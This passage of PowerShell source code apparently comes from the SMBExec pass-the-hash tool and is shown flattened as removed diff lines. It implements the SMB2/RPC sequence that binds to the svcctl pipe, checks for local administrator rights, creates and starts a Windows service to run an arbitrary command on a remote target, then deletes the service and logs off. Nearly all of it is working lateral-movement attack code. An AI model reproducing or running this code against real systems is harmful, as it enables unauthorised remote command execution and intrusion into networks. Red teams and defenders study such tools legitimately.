$NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } - - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - - try - { - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'CreateRequest' - } - catch - { - Write-Output "[-] Session connection is closed" - $SMB_client_stage = 'Exit' - } - - } - - 'CreateRequest' - { - $tree_ID = $SMB_client_receive[40..43] - $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl - $message_ID++ - $packet_SMB2_header = New-PacketSMB2Header 0x05,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - - if($SMB_signing) - { - $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 - } - - $packet_SMB2_data = New-PacketSMB2CreateRequestFile $SMB_named_pipe_bytes - $packet_SMB2_data["Share_Access"] = 0x07,0x00,0x00,0x00 - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } - - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - - try - { - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - } - catch - { - Write-Output "[-] Session connection is closed" - $SMB_client_stage = 'Exit' - } - - if($Refresh -and $SMB_client_stage -ne 'Exit') - { - Write-Output "[+] Session refreshed" - $SMB_client_stage = 'Exit' - } - elseif($SMB_client_stage -ne 'Exit') - { - $SMB_client_stage = 'RPCBind' - } - - } - - 'RPCBind' - { - $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl - $SMB_file_ID = $SMB_client_receive[132..147] - $message_ID++ - $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - - if($SMB_signing) - { - $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 - } - - $packet_RPC_data = New-PacketRPCBind 0x48,0x00 1 0x01 0x00,0x00 $named_pipe_UUID 0x02,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $RPC_data_length = $SMB2_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } - - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'ReadRequest' - $SMB_client_stage_next = 'OpenSCManagerW' - } - - 'ReadRequest' - { - Start-Sleep -m $Sleep - $message_ID++ - $packet_SMB2_header = New-PacketSMB2Header 0x08,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - - if($SMB_signing) - { - $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 - } - - $packet_SMB2_data = New-PacketSMB2ReadRequest $SMB_file_ID - $packet_SMB2_data["Length"] = 0xff,0x00,0x00,0x00 - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } - - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - - if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '03-01-00-00') - { - $SMB_client_stage = $SMB_client_stage_next - } - else - { - $SMB_client_stage = 'StatusPending' - } - - } - - 'StatusPending' - { - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - - if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '03-01-00-00') - { - $SMB_client_stage = $SMB_client_stage_next - } - - } - - 'OpenSCManagerW' - { - $message_ID++ - $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - - if($SMB_signing) - { - $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 - } - - $packet_SCM_data = New-PacketSCMOpenSCManagerW $SMB_service_bytes $SMB_service_length - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0f,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } - - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'ReadRequest' - $SMB_client_stage_next = 'CheckAccess' - } - - 'CheckAccess' - { - - if([System.BitConverter]::ToString($SMB_client_receive[128..131]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($SMB_client_receive[108..127]) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00') - { - - $SMB_service_manager_context_handle = $SMB_client_receive[108..127] - - if($SMB_execute -eq $true) - { - Write-Verbose "$output_username is a local administrator on $Target" - $packet_SCM_data = New-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - - if($SCM_data.Length -lt $SMB_split_index) - { - $SMB_client_stage = 'CreateServiceW' - } - else - { - $SMB_client_stage = 'CreateServiceW_First' - } - - } - else - { - Write-Output "$output_username is a local administrator on $Target" - $message_ID++ - $SMB_close_service_handle_stage = 2 - $SMB_client_stage = 'CloseServiceHandle' - } - - } - elseif([System.BitConverter]::ToString($SMB_client_receive[128..131]) -eq '05-00-00-00') - { - Write-Output "$output_username is not a local administrator or does not have required privilege on $Target" - $SMBExec_failed = $true - } - else - { - Write-Output "Something went wrong with $Target" - $SMBExec_failed = $true - } - - } - - 'CreateServiceW' - { - - if($SMBExec_command_bytes.Length -lt $SMB_split_index) - { - $message_ID++ - $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - - if($SMB_signing) - { - $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 - } - - $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } - - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'ReadRequest' - $SMB_client_stage_next = 'StartServiceW' - } - else - { - - - } - } - - 'CreateServiceW_First' - { - $SMB_split_stage_final = [Math]::Ceiling($SCM_data.Length / $SMB_split_index) - $message_ID++ - $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - - if($SMB_signing) - { - $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 - } - - $SCM_data_first = $SCM_data[0..($SMB_split_index - 1)] - $packet_RPC_data = New-PacketRPCRequest 0x01 0 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_first - $packet_RPC_data["AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length) - $SMB_split_index_tracker = $SMB_split_index - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $RPC_data_length = $SMB2_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } - - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - - if($SMB_split_stage_final -le 2) - { - $SMB_client_stage = 'CreateServiceW_Last' - } - else - { - $SMB_split_stage = 2 - $SMB_client_stage = 'CreateServiceW_Middle' - } - - } - - 'CreateServiceW_Middle' - { - $SMB_split_stage++ - $message_ID++ - $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - - if($SMB_signing) - { - $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 - } - - $SCM_data_middle = $SCM_data[$SMB_split_index_tracker..($SMB_split_index_tracker + $SMB_split_index - 1)] - $SMB_split_index_tracker += $SMB_split_index - $packet_RPC_data = New-PacketRPCRequest 0x00 0 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_middle - $packet_RPC_data["AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length - $SMB_split_index_tracker + $SMB_split_index) - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $RPC_data_length = $SMB2_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } - - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - - if($SMB_split_stage -ge $SMB_split_stage_final) - { - $SMB_client_stage = 'CreateServiceW_Last' - } - else - { - $SMB_client_stage = 'CreateServiceW_Middle' - } - - } - - 'CreateServiceW_Last' - { - $message_ID++ - $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - - if($SMB_signing) - { - $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 - } - - $SCM_data_last = $SCM_data[$SMB_split_index_tracker..$SCM_data.Length] - $packet_RPC_data = New-PacketRPCRequest 0x02 0 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_last - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $RPC_data_length = $SMB2_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } - - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'ReadRequest' - $SMB_client_stage_next = 'StartServiceW' - } - - 'StartServiceW' - { - - if([System.BitConverter]::ToString($SMB_client_receive[132..135]) -eq '00-00-00-00') - { - Write-Verbose "Service $SMB_service created on $Target" - $SMB_service_context_handle = $SMB_client_receive[112..131] - $message_ID++ - $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - - if($SMB_signing) - { - $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 - } - - $packet_SCM_data = New-PacketSCMStartServiceW $SMB_service_context_handle - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x13,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } - - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data - Write-Verbose "Trying to execute command on $Target" - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'ReadRequest' - $SMB_client_stage_next = 'DeleteServiceW' - } - elseif([System.BitConverter]::ToString($SMB_client_receive[132..135]) -eq '31-04-00-00') - { - Write-Output "Service $SMB_service creation failed on $Target" - $SMBExec_failed = $true - } - else - { - Write-Output "Service creation fault context mismatch" - $SMBExec_failed = $true - } - - } - - 'DeleteServiceW' - { - - if([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '1d-04-00-00') - { - Write-Output "Command executed with service $SMB_service on $Target" - } - elseif([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '02-00-00-00') - { - Write-Output "Service $SMB_service failed to start on $Target" - } - - $message_ID++ - $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - - if($SMB_signing) - { - $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 - } - - $packet_SCM_data = New-PacketSCMDeleteServiceW $SMB_service_context_handle - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x02,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } - - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'ReadRequest' - $SMB_client_stage_next = 'CloseServiceHandle' - $SMB_close_service_handle_stage = 1 - } - - 'CloseServiceHandle' - { - - if($SMB_close_service_handle_stage -eq 1) - { - Write-Verbose "Service $SMB_service deleted on $Target" - $message_ID++ - $SMB_close_service_handle_stage++ - $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_context_handle - } - else - { - $message_ID++ - $SMB_client_stage = 'CloseRequest' - $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_manager_context_handle - } - - $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - - if($SMB_signing) - { - $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 - } - - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x00,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } - - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - } - - 'CloseRequest' - { - $message_ID++ - $packet_SMB2_header = New-PacketSMB2Header 0x06,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - - if($SMB_signing) - { - $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 - } - - $packet_SMB2_data = New-PacketSMB2CloseRequest $SMB_file_ID - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } - - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'TreeDisconnect' - } - - 'TreeDisconnect' - { - $message_ID++ - $packet_SMB2_header = New-PacketSMB2Header 0x04,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - - if($SMB_signing) - { - $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 - } - - $packet_SMB2_data = New-PacketSMB2TreeDisconnectRequest - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } - - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - - if($inveigh_session -and !$Logoff) - { - $SMB_client_stage = 'Exit' - } - else - { - $SMB_client_stage = 'Logoff' - } - - } - - 'Logoff' - { - $message_ID++ - $packet_SMB2_header = New-PacketSMB2Header 0x02,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - - if($SMB_signing) - { - $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 - } - - $packet_SMB2_data = New-PacketSMB2SessionLogoffRequest - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } - - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'Exit' - } - - } - - if($SMBExec_failed) - { - BREAK SMB_execute_loop - } - - } - - } - - } - - if($inveigh_session -and $Inveigh) - { - $inveigh.session_lock_table[$session] = 'open' - $inveigh.session_message_ID_table[$session] = $message_ID - $inveigh.session_list[$session] | Where-Object {$_."Last Activity" = Get-Date -format s} - } - - if(!$inveigh_session -or $Logoff) - { - $SMB_client.Close() - $SMB_client_stream.Close() - } - -} - -}
\ No newline at end of file |